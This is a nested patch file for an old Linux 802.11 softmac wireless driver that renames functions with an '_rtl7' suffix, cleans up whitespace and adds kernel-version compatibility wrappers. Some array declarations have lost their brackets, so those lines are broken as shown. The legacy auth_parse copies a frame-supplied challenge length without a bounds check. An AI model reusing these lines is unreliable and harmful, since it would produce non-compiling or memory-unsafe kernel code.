+-		
+-		ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr  ));
+-			
+-		softmac_mgmt_xmit(skb, ieee);
++
++		ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr  ));
++
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->associate_timer.expires = jiffies + (HZ / 2);
+ 		add_timer(&ieee->associate_timer);
+-	}	
++	}
+ 	kfree(challenge);
+ }
+ 
+-void ieee80211_associate_step2(struct ieee80211_device *ieee)
++void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff* skb;
+ 	struct ieee80211_network *beacon = &ieee->current_network;
+-	
++
+ 	del_timer_sync(&ieee->associate_timer);
+-	
++
+ 	IEEE80211_DEBUG_MGMT("Sending association request\n");
+-	
++
+ 	ieee->softmac_stats.tx_ass_rq++;
+-	skb=ieee80211_association_req(beacon, ieee);
+-	if (!skb) 
+-		ieee80211_associate_abort(ieee);
++	skb=ieee80211_association_req_rtl7(beacon, ieee);
++	if (!skb)
++		ieee80211_associate_abort_rtl7(ieee);
+ 	else{
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->associate_timer.expires = jiffies + (HZ / 2);
+ 		add_timer(&ieee->associate_timer);
+-	}	
++	}
+ }
+ 
+-void ieee80211_associate_complete_wq(struct ieee80211_device *ieee)
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_complete_wq_rtl7(struct work_struct *work)
+ {
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq);
++#else
++void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	printk(KERN_INFO "Associated successfully\n");
+-	if(ieee80211_is_54g(ieee->current_network) && 
++	if(ieee80211_is_54g_rtl7(ieee->current_network) &&
+ 		(ieee->modulation & IEEE80211_OFDM_MODULATION)){
+-		
++
+ 		ieee->rate = 540;
+ 		printk(KERN_INFO"Using G rates\n");
+ 	}else{
+@@ -977,62 +989,67 @@
+ 		printk(KERN_INFO"Using B rates\n");
+ 	}
+ 	ieee->link_change(ieee->dev);
+-	notify_wx_assoc_event(ieee); 
++	notify_wx_assoc_event_rtl7(ieee);
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+ 	netif_carrier_on(ieee->dev);
+ }
+ 
+-void ieee80211_associate_complete(struct ieee80211_device *ieee)
++void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee)
+ {
+ 
+ 	del_timer_sync(&ieee->associate_timer);
+-	
++
+ 	ieee->seq_ctrl = 0;
+ 	ieee->state = IEEE80211_LINKED;
+ 	IEEE80211_DEBUG_MGMT("Successfully associated\n");
+-	
++
+ 	queue_work(ieee->wq, &ieee->associate_complete_wq);
+ }
+ 
+-void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee)
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work)
++{
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq);
++#else
++void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee)
+ {
++#endif
+ 	ieee->sync_scan_hurryup = 1;
+ 	down(&ieee->wx_sem);
+-	
+ 	if (ieee->data_hard_stop)
+ 		ieee->data_hard_stop(ieee->dev);
+-	
+-	ieee80211_stop_scan(ieee);
++
++	ieee80211_stop_scan_rtl7(ieee);
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+-	
++
+ 	ieee->associate_seq = 1;
+-	ieee80211_associate_step1(ieee);
+-	
++	ieee80211_associate_step1_rtl7(ieee);
++
+ 	up(&ieee->wx_sem);
+ }
+ 
+-inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net)
++inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net)
+ {
+-	
++
+ 	u8 tmp_ssidIW_ESSID_MAX_SIZE+1;
+ 	int tmp_ssid_len = 0;
+-	
++
+ 	short apset,ssidset,ssidbroad,apmatch,ssidmatch;
+-	
+-	/* we are interested in new new only if we are not associated 
++
++	/* we are interested in new new only if we are not associated
+ 	 * and we are not associating / authenticating
+ 	 */
+ 	if (ieee->state != IEEE80211_NOLINK)
+-		return; 
+-		
++		return;
++
+ 	if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS))
+ 		return;
+-	
++
+ 	if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS))
+ 		return;
+ 
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){
+ 		/* if the user specified the AP MAC, we need also the essid
+ 		 * This could be obtained by beacons or, if the network does not
+@@ -1043,23 +1060,23 @@
+ 		ssidbroad =  !(net->ssid_len == 0 || net->ssid0== '\0');
+ 		apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0);
+ 		ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len));
+-		
+-		
+-		
++
++
++
+ 		if (	/* if the user set the AP check if match.
+ 		         * if the network does not broadcast essid we check the user supplyed ANY essid
+ 			 * if the network does broadcast and the user does not set essid it is OK
+ 			 * if the network does broadcast and the user did set essid chech if essid match
+ 			 */
+-			( apset && apmatch && 
+-				((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) ||  
++			( apset && apmatch &&
++				((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) ||
+ 			/* if the ap is not set, check that the user set the bssid
+ 			 * and the network does bradcast and that those two bssid matches
+-			 */ 
+-			(!apset && ssidset && ssidbroad && ssidmatch) 
++			 */
++			(!apset && ssidset && ssidbroad && ssidmatch)
+ 			){
+-			
+-			
++
++
+ 				/* if the essid is hidden replace it with the
+ 				* essid provided by the user.
+ 				*/
+@@ -1068,18 +1085,18 @@
+ 					tmp_ssid_len = ieee->current_network.ssid_len;
+ 				}
+ 				memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network));
+-				
++
+ 				if (!ssidbroad){
+ 					strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE);
+ 					ieee->current_network.ssid_len = tmp_ssid_len;
+ 				}
+ 				printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid);
+-				
++
+ 				if (ieee->iw_mode == IW_MODE_INFRA){
+ 					ieee->state = IEEE80211_ASSOCIATING;
+ 					queue_work(ieee->wq, &ieee->associate_procedure_wq);
+ 				}else{
+-					if(ieee80211_is_54g(ieee->current_network) && 
++					if(ieee80211_is_54g_rtl7(ieee->current_network) &&
+ 						(ieee->modulation & IEEE80211_OFDM_MODULATION)){
+ 						ieee->rate = 540;
+ 						printk(KERN_INFO"Using G rates\n");
+@@ -1089,42 +1106,40 @@
+ 					}
+ 					ieee->state = IEEE80211_LINKED;
+ 				}
+-			
++
+ 		}
+ 	}
+-
+ }
+ 
+-void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee)
++void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee)
+ {
+-	
++
+ 	unsigned long flags;
+ 	struct ieee80211_network *target;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-			
+ 	list_for_each_entry(target, &ieee->network_list, list) {
+-		
++
+ 		/* if the state become different that NOLINK means
+ 		 * we had found what we are searching for
+ 		 */
+-		if (ieee->state != IEEE80211_NOLINK) 
++		if (ieee->state != IEEE80211_NOLINK)
+ 			break;
+-			
++
+ 		//if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies))
+-			ieee80211_softmac_new_net(ieee, target);
++			ieee80211_softmac_new_net_rtl7(ieee, target);
+ 	}
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ }
+ 
+ 
+-static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen)
++static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen)
+ {
+ 	struct ieee80211_authentication *a;
+ 	u8 *t;
+-	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ 
++	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){
+ 		IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len);
+ 		return 0xcafe;
+ 	}
+@@ -1132,58 +1147,58 @@
+ 	a = (struct ieee80211_authentication*) skb->data;
+ 	if(skb->len > (sizeof(struct ieee80211_authentication) +3)){
+ 		t = skb->data + sizeof(struct ieee80211_authentication);
+-		
++
+ 		if(*(t++) == MFIE_TYPE_CHALLENGE){
+ 			*chlen = *(t++);
+ 			*challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC);
+ 			memcpy(*challenge, t, *chlen);
+ 		}
+ 	}
+-	
++
+ 	return cpu_to_le16(a->status);
+-	
++
+ }
+ 
+ 
+-int auth_rq_parse(struct sk_buff *skb,u8* dest)
++int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest)
+ {
+ 	struct ieee80211_authentication *a;
+-	
+-	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ 
+-		IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len);	
++
++	if (skb->len <  (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){
++		IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len);
+ 		return -1;
+ 	}
+ 	a = (struct ieee80211_authentication*) skb->data;
+-	
++
+ 	memcpy(dest,a->header.addr2, ETH_ALEN);
+-	
+-	if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) 
++
++	if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN)
+ 		return  WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG;
+-	
++
+ 	return WLAN_STATUS_SUCCESS;
+ }
+ 
+-static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src)
++static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src)
+ {
+ 	u8 *tag;
+ 	u8 *skbend;
+ 	u8 *ssid=NULL;
+ 	u8 ssidlen = 0;
+-	
++
+ 	struct ieee80211_hdr_3addr   *header =
+ 		(struct ieee80211_hdr_3addr   *) skb->data;
+-	
+-	if (skb->len < sizeof (struct ieee80211_hdr_3addr  )) 
++
++	if (skb->len < sizeof (struct ieee80211_hdr_3addr  ))
+ 		return -1; /* corrupted */
+-	
++
+ 	memcpy(src,header->addr2, ETH_ALEN);
+-	
++
+ 	skbend = (u8*)skb->data + skb->len;
+-	
++
+ 	tag = skb->data + sizeof (struct ieee80211_hdr_3addr  );
+-	
++
+ 	while (tag+1 < skbend){
+-		if (*tag == 0){ 
++		if (*tag == 0){
+ 			ssid = tag+2;
+ 			ssidlen = *(tag+1);
+ 			break;
+@@ -1192,88 +1207,88 @@
+ 		tag = tag + *(tag); /* point to the last data byte of the tag */
+ 		tag++; /* point to the next tag */
+ 	}
+-	
++
+ 	//IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src));
+ 	if (ssidlen == 0) return 1;
+-	
++
+ 	if (!ssid) return 1; /* ssid not found in tagged param */
+ 	return (!strncmp(ssid, ieee->current_network.ssid, ssidlen));
+-		
++
+ }
+ 
+-int assoc_rq_parse(struct sk_buff *skb,u8* dest)
++int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest)
+ {
+ 	struct ieee80211_assoc_request_frame *a;
+-	
+-	if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - 
+-		sizeof(struct ieee80211_info_element))) { 
+-		
++
++	if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) -
++		sizeof(struct ieee80211_info_element))) {
++
+ 		IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len);
+ 		return -1;
+ 	}
+-	
++
+ 	a = (struct ieee80211_assoc_request_frame*) skb->data;
+-		
++
+ 	memcpy(dest,a->header.addr2,ETH_ALEN);
+-	
++
+ 	return 0;
+ }
+ 
+-static inline u16 assoc_parse(struct sk_buff *skb, int *aid)
++static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid)
+ {
+ 	struct ieee80211_assoc_response_frame *a;
+-	if (skb->len <  sizeof(struct ieee80211_assoc_response_frame)){ 
++	if (skb->len <  sizeof(struct ieee80211_assoc_response_frame)){
+ 		IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len);
+ 		return 0xcafe;
+ 	}
+-	
++
+ 	a = (struct ieee80211_assoc_response_frame*) skb->data;
+ 	*aid = le16_to_cpu(a->aid) & 0x3fff;
+ 	return le16_to_cpu(a->status);
+ }
+ 
+ static inline void
+-ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb)
++ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+ 	u8 destETH_ALEN;
+-	
++
+ 	//IEEE80211DMESG("Rx probe");
+ 	ieee->softmac_stats.rx_probe_rq++;
+ 	//DMESG("Dest is "MACSTR, MAC2STR(dest));
+-	if (probe_rq_parse(ieee, skb, dest)){
++	if (probe_rq_parse_rtl7(ieee, skb, dest)){
+ 		//IEEE80211DMESG("Was for me!");
+ 		ieee->softmac_stats.tx_probe_rs++;
+-		ieee80211_resp_to_probe(ieee, dest);
++		ieee80211_resp_to_probe_rtl7(ieee, dest);
+ 	}
+ }
+ 
+ static inline void
+-ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb)
++ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+ 	u8 destETH_ALEN;
+ 	int status;
+ 	//IEEE80211DMESG("Rx probe");
+ 	ieee->softmac_stats.rx_auth_rq++;
+-	
+-	if ((status = auth_rq_parse(skb, dest))!= -1){
+-		ieee80211_resp_to_auth(ieee, status, dest);
++
++	if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){
++		ieee80211_resp_to_auth_rtl7(ieee, status, dest);
+ 	}
+ 	//DMESG("Dest is "MACSTR, MAC2STR(dest));
+-	
++
+ }
+ 
+ static inline void
+-ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb)
++ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+-	
++
+ 	u8 destETH_ALEN;
+ 	//unsigned long flags;
+-	
++
+ 	ieee->softmac_stats.rx_ass_rq++;
+-	if (assoc_rq_parse(skb,dest) != -1){
+-		ieee80211_resp_to_assoc_rq(ieee, dest);
++	if (assoc_rq_parse_rtl7(skb,dest) != -1){
++		ieee80211_resp_to_assoc_rq_rtl7(ieee, dest);
+ 	}
+-	
++
+ 	printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest));
+ 	//FIXME
+ 	#if 0
+@@ -1285,25 +1300,25 @@
+ 
+ 
+ 
+-void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr)
++void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr)
+ {
+-	
+-	struct sk_buff *buf = ieee80211_null_func(ieee, pwr);
+-	
++
++	struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr);
++
+ 	if (buf)
+-		softmac_ps_mgmt_xmit(buf, ieee);
++		softmac_ps_mgmt_xmit_rtl7(buf, ieee);
+ 
+-} 
++}
+ 
+ 
+-short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l)
+-{	
++short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l)
++{
+ 	int timeout = ieee->ps_timeout;
+ 	u8 dtim;
+ 	/*if(ieee->ps == IEEE80211_PS_DISABLED ||
+-		ieee->iw_mode != IW_MODE_INFRA || 
++		ieee->iw_mode != IW_MODE_INFRA ||
+ 		ieee->state != IEEE80211_LINKED)
+-		
++
+ 		return 0;
+ 	*/
+ 	dtim = ieee->current_network.dtim_data;
+@@ -1312,133 +1327,133 @@
+ 		return 0;
+ 	//printk("VALID\n");
+ 	ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID;
+-		
++
+ 	if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps))
+ 		return 2;
+-	
++
+ 	if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout)))
+ 		return 0;
+-	
++
+ 	if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout)))
+ 		return 0;
+-	
++
+ 	if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) &&
+ 		(ieee->mgmt_queue_tail != ieee->mgmt_queue_head))
+ 		return 0;
+-	
++
+ 	if(time_l){
+-		*time_l = ieee->current_network.last_dtim_sta_time0 
+-			+ (ieee->current_network.beacon_interval 
++		*time_l = ieee->current_network.last_dtim_sta_time0
++			+ (ieee->current_network.beacon_interval
+ 			* ieee->current_network.dtim_period) * 1000;
+ 	}
+-	
++
+ 	if(time_h){
+ 		*time_h = ieee->current_network.last_dtim_sta_time1;
+ 		if(time_l && *time_l < ieee->current_network.last_dtim_sta_time0)
+ 			*time_h += 1;
+ 	}
+-	
++
+ 	return 1;
+-	
+-	
++
++
+ }
+ 
+-inline void ieee80211_sta_ps(struct ieee80211_device *ieee)
++inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee)
+ {
+ 
+ 	u32 th,tl;
+ 	short sleep;
+-	
++
+ 	unsigned long flags,flags2;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if((ieee->ps == IEEE80211_PS_DISABLED ||
+-		ieee->iw_mode != IW_MODE_INFRA || 
++		ieee->iw_mode != IW_MODE_INFRA ||
+ 		ieee->state != IEEE80211_LINKED)){
+-		
+-		#warning CHECK_LOCK_HERE
++
++//		#warning CHECK_LOCK_HERE
+ 		spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-		
+-		ieee80211_sta_wakeup(ieee, 1);	
+-		
++
++		ieee80211_sta_wakeup_rtl7(ieee, 1);
++		printk(KERN_WARNING "wakeup 1!\n" );
+ 		spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+ 	}
+-	
+-	sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl);
++
++	sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl);
+ 	/* 2 wake, 1 sleep, 0 do nothing */
+ 	if(sleep == 0)
+ 		goto out;
+-	
++
+ 	if(sleep == 1){
+-	
++
+ 		if(ieee->sta_sleep == 1)
+ 			ieee->enter_sleep_state(ieee->dev,th,tl);
+-		
++
+ 		else if(ieee->sta_sleep == 0){
+ 		//	printk("send null 1\n");
+ 			spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-			
++
+ 			if(ieee->ps_is_queue_empty(ieee->dev)){
+-				
+-			
++
++
+ 				ieee->sta_sleep = 2;
+-				
++
+ 				ieee->ps_request_tx_ack(ieee->dev);
+-				
+-				ieee80211_sta_ps_send_null_frame(ieee,1);
+-				
++
++				ieee80211_sta_ps_send_null_frame_rtl7(ieee,1);
++
+ 				ieee->ps_th = th;
+ 				ieee->ps_tl = tl;
+-			}		
++			}
+ 			spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+-			
++
+ 		}
+-		
+-		
++
++
+ 	}else if(sleep == 2){
+-#warning CHECK_LOCK_HERE
++// #warning CHECK_LOCK_HERE
+ 		spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-			
+-		ieee80211_sta_wakeup(ieee,1);
+-		
++
++		ieee80211_sta_wakeup_rtl7(ieee,1);
++		printk(KERN_WARNING "wakeup 2!\n" );
+ 		spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+ 	}
+ 
+-out:	
++out:
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ }
+ 
+-void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl)
++void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl)
+ {
+ 	if(ieee->sta_sleep == 0){
+ 		if(nl){
+ 			printk("Warning: driver is probably failing to report TX ps error\n");
+ 			ieee->ps_request_tx_ack(ieee->dev);
+-			ieee80211_sta_ps_send_null_frame(ieee, 0);
++			ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0);
+ 		}
+ 		return;
+-		
++
+ 	}
+-	
+-	if(ieee->sta_sleep == 1) 
++
++	if(ieee->sta_sleep == 1)
+ 		ieee->sta_wake_up(ieee->dev);
+-		
++
+ 	ieee->sta_sleep = 0;
+-	
++
+ 	if(nl){
+ 		ieee->ps_request_tx_ack(ieee->dev);
+-		ieee80211_sta_ps_send_null_frame(ieee, 0);
++		ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0);
+ 	}
+ }
+ 
+-void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success)
++void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success)
+ {
+ 	unsigned long flags,flags2;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if(ieee->sta_sleep == 2){
+ 		/* Null frame with PS bit set */
+ 		if(success){
+@@ -1451,10 +1466,10 @@
+ 	}
+ 	/* 21112005 - tx again null without PS bit if lost */
+ 	else {
+-	
++
+ 		if((ieee->sta_sleep == 0) && !success){
+ 			spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2);
+-			ieee80211_sta_ps_send_null_frame(ieee, 0);
++			ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0);
+ 			spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2);
+ 		}
+ 	}
+@@ -1462,129 +1477,132 @@
+ }
+ 
+ inline int
+-ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb,
++ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype)
+ {
+ 	struct ieee80211_hdr_3addr *header;
+-	header = (struct ieee80211_hdr_3addr *) skb->data;
+ 	u16 errcode;
+ 	u8* challenge;
+ 	int chlen;
+ 	int aid;
+-	
++
++	chlen = 0;
++
++	header = (struct ieee80211_hdr_3addr *) skb->data;
++
+ 	if(!ieee->proto_started)
+ 		return 0;
+-	
++
+ 	if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED &&
+-		ieee->iw_mode == IW_MODE_INFRA && 
++		ieee->iw_mode == IW_MODE_INFRA &&
+ 		ieee->state == IEEE80211_LINKED))
+-	
++
+ 		tasklet_schedule(&ieee->ps_task);
+-				
++
+ 	if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP &&
+ 		WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON)
+ 		ieee->last_rx_ps_time = jiffies;
+-		
++
+ 	switch (WLAN_FC_GET_STYPE(header->frame_ctl)) {
+-	
++
+ 		case IEEE80211_STYPE_ASSOC_RESP:
+ 		case IEEE80211_STYPE_REASSOC_RESP:
+-		
++
+ 			IEEE80211_DEBUG_MGMT("received REASSOCIATION RESPONSE (%d)\n",
+ 					WLAN_FC_GET_STYPE(header->frame_ctl));
+ 			if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) &&
+-				ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && 
++				ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED &&
+ 				ieee->iw_mode == IW_MODE_INFRA){
+-				if (0 == (errcode=assoc_parse(skb, &aid))){
+-					
++				if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){
++
+ 					ieee->state=IEEE80211_LINKED;
+ 					ieee->assoc_id = aid;
+ 					ieee->softmac_stats.rx_ass_ok++;
+-					
+-					ieee80211_associate_complete(ieee);
++
++					ieee80211_associate_complete_rtl7(ieee);
+ 				}else{
+ 					ieee->softmac_stats.rx_ass_err++;
+ 					IEEE80211_DEBUG_MGMT(
+ 						"Association response status code 0x%x\n",
+ 						errcode);
+-					ieee80211_associate_abort(ieee); 
++					ieee80211_associate_abort_rtl7(ieee);
+ 				}
+ 			}
+ 			break;
+-		
++
+ 		case IEEE80211_STYPE_ASSOC_REQ:
+ 		case IEEE80211_STYPE_REASSOC_REQ:
+-		
++
+ 			if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) &&
+ 				ieee->iw_mode == IW_MODE_MASTER)
+-					
+-				ieee80211_rx_assoc_rq(ieee, skb);
++
++				ieee80211_rx_assoc_rq_rtl7(ieee, skb);
+ 			break;
+-			
++
+ 		case IEEE80211_STYPE_AUTH:
+-		
++
+ 			if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){
+-				if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && 
++				if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING &&
+ 				ieee->iw_mode == IW_MODE_INFRA){
+-			
++
+ 						IEEE80211_DEBUG_MGMT("Received authentication response");
+-						
+-						if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){
++
++						if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){
+ 							if(ieee->open_wep || !challenge){
+ 								ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED;
+ 								ieee->softmac_stats.rx_auth_rs_ok++;
+-								
+-								ieee80211_associate_step2(ieee);
++
++								ieee80211_associate_step2_rtl7(ieee);
+ 							}else{
+-								ieee80211_auth_challenge(ieee, challenge, chlen);
++								ieee80211_auth_challenge_rtl7(ieee, challenge, chlen);
+ 							}
+ 						}else{
+ 							ieee->softmac_stats.rx_auth_rs_err++;
+ 							IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode);
+-							ieee80211_associate_abort(ieee);
++							ieee80211_associate_abort_rtl7(ieee);
+ 						}
+-						
++
+ 					}else if (ieee->iw_mode == IW_MODE_MASTER){
+-						ieee80211_rx_auth_rq(ieee, skb);
++						ieee80211_rx_auth_rq_rtl7(ieee, skb);
+ 					}
+ 				}
+ 			break;
+-				
++
+ 		case IEEE80211_STYPE_PROBE_REQ:
+-		
+-			if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && 
+-				((ieee->iw_mode == IW_MODE_ADHOC || 
++
++			if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) &&
++				((ieee->iw_mode == IW_MODE_ADHOC ||
+ 				ieee->iw_mode == IW_MODE_MASTER) &&
+ 				ieee->state == IEEE80211_LINKED))
+-				
+-				ieee80211_rx_probe_rq(ieee, skb);
++
++				ieee80211_rx_probe_rq_rtl7(ieee, skb);
+ 			break;
+-			
++
+ 		case IEEE80211_STYPE_DISASSOC:
+ 		case IEEE80211_STYPE_DEAUTH:
+-			/* FIXME for now repeat all the association procedure 
++			/* FIXME for now repeat all the association procedure
+ 			* both for disassociation and deauthentication
+ 			*/
+ 			if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) &&
+-				ieee->state == IEEE80211_LINKED && 
++				ieee->state == IEEE80211_LINKED &&
+ 				ieee->iw_mode == IW_MODE_INFRA){
+-				
++
+ 				ieee->state = IEEE80211_ASSOCIATING;
+ 				ieee->softmac_stats.reassoc++;
+-				
+-				notify_wx_assoc_event(ieee);
+-								
++
++				notify_wx_assoc_event_rtl7(ieee);
++
+ 				queue_work(ieee->wq, &ieee->associate_procedure_wq);
+ 			}
+-			
++
+ 			break;
+-		
+-		default: 
++
++		default:
+ 			return -1;
+ 			break;
+ 	}
+-	
++
+ 	//dev_kfree_skb_any(skb);
+ 	return 0;
+ }
+@@ -1602,21 +1620,21 @@
+  * This might be useful if each fragment need it's own
+  * descriptor, thus just keep a total free memory > than
+  * the max fragmentation treshold is not enought.. If the
+- * ieee802.11 stack passed a TXB struct then you needed  
+- * to keep N free descriptors where 
++ * ieee802.11 stack passed a TXB struct then you needed
++ * to keep N free descriptors where
+  * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD
+  * In this way you need just one and the 802.11 stack
+- * will take care of buffering fragments and pass them to 
++ * will take care of buffering fragments and pass them to
+  * to the driver later, when it wakes the queue.
+- */ 
+- 
+-void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee)
++ */
++
++void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee)
+ {
+-	
+-	
++
++
+ 	unsigned long flags;
+ 	int  i;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock,flags);
+ 	#if 0
+ 	if(ieee->queue_stop){
+@@ -1627,13 +1645,13 @@
+ 		err = 1;
+ 		goto exit;
+ 	}
+-	
++
+ 	ieee->stats.tx_bytes+=skb->len;
+-	
+-	
++
++
+ 	txb=ieee80211_skb_to_txb(ieee,skb);
+-	
+-	
++
++
+ 	if(txb==NULL){
+ 		IEEE80211DMESG("WW: IEEE stack failed to provide txb");
+ 		//dev_kfree_skb_any(skb);
+@@ -1641,12 +1659,12 @@
+ 		goto exit;
+ 	}
+ 	#endif
+-	
++
+ 	/* called with 2nd parm 0, no tx mgmt lock required */
+-	ieee80211_sta_wakeup(ieee,0);
++	ieee80211_sta_wakeup_rtl7(ieee,0);
+ 
+ 	for(i = 0; i < txb->nr_frags; i++) {
+-	
++
